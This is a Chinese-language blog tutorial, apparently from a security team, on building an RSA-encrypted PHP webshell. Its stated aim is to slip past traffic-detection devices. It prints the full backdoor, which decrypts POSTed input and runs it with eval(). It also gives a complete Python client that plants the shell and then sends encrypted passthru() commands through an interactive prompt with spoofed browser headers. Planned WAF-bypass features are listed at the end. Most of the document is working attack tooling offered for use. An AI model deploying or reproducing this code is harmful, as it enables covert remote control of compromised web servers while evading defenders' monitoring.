本文将简单介绍RSA在webshell中的使用,旨在帮助小白们快速制作自己的流量混淆工具。
关于RSA
援引百度百科对RSA的介绍:
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥......
具体的原理什么的就不多说了,这也不是专门介绍密码学的文章。我们只需要知道它是一个强加密,有公私匙,可以过流量检测设备就行了。
过程实践
首先使用openssl来进行公私匙的生成:
openssl genrsa -out privkey.pem 2048openssl rsa -in privkey.pem -out publickey.pem -pubout
然后使用M2Crypto进行利用文件进行文本加密:
def pri_encrypt(msg, file_name): rsa_pri = M2Crypto.RSA.load_key(file_name) ctxt_pri = rsa_pri.private_encrypt( msg.encode(), M2Crypto.RSA.pkcs1_padding) ctxt64_pri = base64.b64encode(ctxt_pri) return ctxt64_pri
比如对test进行加密:
可以看到字符串已经成功的加密了。接下来就是PHP文件的处理了,一样使用openssl这个库,来操作,缺点就是需要依赖:
<?php class Rsa { private static $PUBLIC_KEY= "MyPubKey"; private static function getPublicKey(){ $publicKey = self::$PUBLIC_KEY; return openssl_pkey_get_public($publicKey); } public static function publicDecrypt($encrypted = ""){ if (!is_string($encrypted)) { return null; } return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null; }}$cmd=$_POST['MyPass'];$rsa = new Rsa();$publicDecrypt = $rsa->publicDecrypt($cmd);$res=eval($publicDecrypt);
这样我们的主要的文件就算写好了,下面就是编写一个简单的webshell管理工具了,代码如下(代码有点烂,能跑起来在说):
#!/usr/bin/python# coding: utf-8# Author: lengyi@HongHuSECimport sysimport argparseimport requestsimport base64import M2Cryptoimport osimport iosys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')def creatkey(): return os.system('openssl genrsa -out privkey.pem 2048\nopenssl rsa -in privkey.pem -out publickey.pem -pubout\n')def pri_encrypt(msg, file_name): rsa_pri = M2Crypto.RSA.load_key(file_name) ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding) ctxt64_pri = base64.b64encode(ctxt_pri) return ctxt64_pridef get_args(): arser = argparse.ArgumentParser(prog="SimpleRSA webshell", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= "Usage:\n1、python3 SimpleRSA_shell.py -c filename -p password \n2、python3 SimpleRSA_shell.py -u url -p password") arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)") arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password') arser.add_argument("-u", "--url", nargs='?',help="Set Url") args = arser.parse_args() return argsdef createphpshell(shell,pwd, pubkey): with open("demo.php","rb")as f: shelltxt=f.read().decode() shelltxt = shelltxt.replace("MyPass", pwd).replace( 'MyPubKey', pubkey.decode()) with open(shell, "w") as f1: f1.write(shelltxt) print(f"[+]php马存放在{shell},链接密码{pwd}")def main(): args = get_args() if (len(sys.argv) == 1): print(f"Usage: python3 {sys.argv[0]} -h") exit() elif (len(sys.argv) == 5 and args.create != None): if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False): print("[+]正在生成公私钥对...") if (creatkey() == 0): print("[+]生成成功") else: print("[-]失败,请检查权限问题") pubkey_file = './publickey.pem' with open(pubkey_file, 'rb') as f: pubkey = f.read() createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey) elif(len(sys.argv) == 5 and args.url.strip()!=None): prikey_file = './privkey.pem' payload = "passthru('123');" while (True): encryptshell = pri_encrypt(payload, prikey_file) data = { args.password.strip(): encryptshell } headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "keep-alive", "Referer": "https://www.google.com.hk/", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36", } print(requests.post(args.url.strip(), data=data, headers=headers).text.strip()) payload = input(">") if payload == "exit": sys.exit() else: payload = f"passthru('{payload}');" else: exit()if __name__ == '__main__': main()
demo效果:
可以创建马、与进行webshell的连接。
效果
使用工具执行命令,发现可以成功的接收返回的结果:
流量如下:
TODO:
双向流量加密
命令执行bypassD盾
▼更多精彩推荐,请关注我们▼